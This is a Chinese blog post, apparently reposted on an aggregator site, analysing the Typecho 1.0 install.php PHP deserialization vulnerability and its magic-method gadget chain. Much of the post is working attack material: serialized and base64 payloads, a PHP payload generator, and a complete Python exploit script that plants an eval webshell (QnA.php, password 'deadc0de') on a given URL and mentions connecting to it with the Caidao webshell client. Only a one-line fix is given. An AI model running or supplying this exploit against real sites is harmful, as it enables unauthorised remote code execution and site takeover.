PHP魔术方法:Typecho反序列化漏洞
来源:互联网 发布:tcp网络调试助手 编辑:程序博客网 时间:2024/05/22 03:04
0x00 简述
服务器安装typecho之后没有删除install.php,导致可以在前台利用反序列化漏洞执行任意代码。
0x01 PHP序列化与反序列化
PHP序列化的函数是serialize(),它可以把php对象转化为字符串,加上base64编码,方便传输。
例如对象:
Array( [adapter] => Typecho_Feed Object ( [_type:Typecho_Feed:private] => ATOM 1.0 [_items:Typecho_Feed:private] => Array ( [0] => Array ( [author] => Typecho_Request Object ( [_params:Typecho_Request:private] => Array ( [screenName] => file_put_contents('test.txt','haha') ) [_filter:Typecho_Request:private] => Array ( [0] => assert ) ) ) ) [dateFormat] => ) [prefix] => typecho_)
可以通过serialize()转化为字符串(\x00开头说明是私有变量):
a:2:{s:7:"adapter";O:12:"Typecho_Feed":3:{s:19:"\x00Typecho_Feed\x00_type";s:8:"ATOM 1.0";s:20:"\x00Typecho_Feed\x00_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"\x00Typecho_Request\x00_params";a:1:{s:10:"screenName";s:63:"file_put_contents('test.txt','haha')";}s:24:"\x00Typecho_Request\x00_filter";a:1:{i:0;s:6:"assert";}}}}s:10:"dateFormat";N;}s:6:"prefix";s:8:"typecho_";}
再base64编码:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzY6ImZpbGVfcHV0X2NvbnRlbnRzKCd0ZXN0LnR4dCcsJ2hhaGEnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
反序列化函数是unserialize(),作用和serialize()相反。所以当用户可以控制unserialize()的参数时,就可能有漏洞产生。
0x02 反序列化漏洞常用的PHP魔术方法
php的魔术方法有很多,容易利用的有__wakeup()、__destruct()、__toString()。
这里还要使用一个方法__get()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
读取不可访问属性的值时,__get() 会被调用。
PHP手册有详细的解释:魔术方法
0x03 实验环境
PHP 5.6.31 Typecho 1.0 (14.10.10)
0x04 代码审计
1.查找反序列化函数和用户可控点
/install.php 230行:
程序获取用户cookie,base64解码后反序列化成$config,然后$config[‘adapter’]被当成字符串了,我们来看看有什么类可以利用__toString()。
2.查找可用的魔术方法
/var/Typecho/Feed.php 223行:
找到了__toString()。
/var/Typecho/Feed.php 290行:
$item为$this->_items这个数组的元素。
发现调用了$item[‘author’]的成员变量screenName,如果对象$item[‘author’]中没有成员变量screenName,就会返回__get(‘screenName’),再看看有没有类的__get()可以用。
/var/Typecho/Request.php 269行:
找到__get(),找get()
这里把$this->_params[$key]传给_applyFilter(),找_applyFilter()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
这里把$this->_filter中的元素当做回调函数,把刚才的$this->_params[‘screenName’]作为回调函数的参数。所以用户可以通过修改cookie为构造好的序列化对象,执行任意命令。
3.检查有没判断阻碍数据传入
回到install.php
有三个判断,要到达230行只需在url后面加上?finish=1,referer修改为http://XXXX/install.php就行了。
4.构造payload
只要按上面的思路构造即可,但有个地方需要注意,install.php 54行用了ob_start(),所有输出会先留在缓冲区中,call_user_func()运行完我们的命令后__toString()会抛出致命错误,导致清空缓冲区,返回状态码500(不知道有没有理解错)。
原文:
在install.php的开始,调用了ob_start()
在php.net上关于ob_start的解释是这样的。
ob_start因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。
我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。
这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
解决了这个问题,整个利用ROP链就成立了
如果只是想种一句话木马的话就不用会显啦,判断状态码500就证明成功。
综合了两篇文章的payload:
<?phpclass Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'file_put_contents(\'QnA.php\',\'<?php @eval($_POST[deadc0de]);?>\')'; $this->_filter[0] = 'assert'; }}class Typecho_Feed{ private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = 'ATOM 1.0'; $item['author'] = new Typecho_Request(); $this->_items[0] = $item; }}$x = new Typecho_Feed();$a = array( 'adapter' => $x, 'prefix' => 'typecho_');echo "<pre>";print_r($a);echo "</pre>";echo serialize($a)."<br>";echo "__typecho_config=".base64_encode(serialize($a));?>
0x05 测试效果
获取payload:
修改cookie前:
修改cookie后:
菜刀连接:
0x06 EXP
typecho.py
#! python3import requestsimport base64import urllib.parseimport sysgetshell_payload = b"""\a:2:{\s:7:"adapter";\O:12:"Typecho_Feed":3:{\s:19:"\x00Typecho_Feed\x00_type";\s:8:"ATOM 1.0";\s:20:"\x00Typecho_Feed\x00_items";\a:1:{\i:0;\a:1:{s:6:"author";\O:15:"Typecho_Request":2:{\s:24:"\x00Typecho_Request\x00_params";\a:1:{s:10:"screenName";\s:63:"file_put_contents('QnA.php','<?php @eval($_POST[deadc0de]);?>')";}\s:24:"\x00Typecho_Request\x00_filter";\a:1:{i:0;s:6:"assert";}}}}\s:10:"dateFormat";N;}\s:6:"prefix";s:8:"typecho_";}\"""def url_get_ready(url): domain = urllib.parse.urlsplit(url).netloc if not domain: print("Bad url!") exit() new_url = 'http://' + domain + '/install.php' return new_urldef test_url(url, headers): test = requests.get(url, headers = headers, params = {"finish":"1"}) return test.cookies if test.status_code == 200 else Nonedef getshell(url, headers, cookies): cookies["__typecho_config"] = \ urllib.parse.quote(base64.b64encode(getshell_payload)) ret = requests.get(typecho_install_url,\ params = {"finish":"1"}, headers = headers, cookies=cookies) return True if ret.status_code == 500 else Falseif __name__ == "__main__": if len(sys.argv) == 2: typecho_install_url = url_get_ready(sys.argv[1]) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) \Gecko/20100101 Firefox/52.0", "Referer": typecho_install_url } C = test_url(typecho_install_url, headers) if getshell(typecho_install_url, headers, C): print("OK!\nwebshell: QnA.php\npassword: deadc0de") else: print("Fail!") else: print("Usage: py typecho <url>")
0x07 漏洞修复
删除install.php
0x08 小结
第一次写博客,图很多,字不多,代码审计是跟着文章按图索骥,也不知道自己理解的有没有错,以后还要努力学习一个。
参考:
- http://p0sec.net/index.php/archives/114/
- https://paper.seebug.org/424/
- PHP魔术方法:Typecho反序列化漏洞
- Typecho install.php存在的反序列化漏洞
- 一种基于PHP的交互式Typecho反序列化漏洞利用工具
- 理解php反序列化漏洞
- php 反序列化漏洞概览
- PHP反序列化漏洞学习总结
- PHP魔术方法之序列化与反序列化技术
- php魔术方法(三)类的序列化和反序列化
- Java反序列化漏洞加固方法
- 序列化,反序列化与相关魔术方法
- JAVA反序列化漏洞
- JBoss4 反序列化漏洞
- weblogic 反序列化漏洞
- php 反序列化
- php反序列化
- 魔术方法__sleep和__wakeup、序列与反序列
- Java反序列化漏洞详解
- java反序列化漏洞解决方案
- Spring中引入其他配置文件
- spring boot整合cxf发布webservice服务和spring boot整合cxf客户端调用webservice服务
- 按钮动画
- 评论抓取:Python爬取微信在APPStore上的评论内容及星级
- fopen
- PHP魔术方法:Typecho反序列化漏洞
- recyclerview多条目加载
- 初学logistic回归
- Kafka java api-生产者代码、高性能吞吐
- 最新版MySQL操作---语句规范
- SpringBoot小程序
- 我的学习资源
- ES优化总结(特别是在bulk大量数据到ES的时候),持续续更新中。。。。
- mongo我的库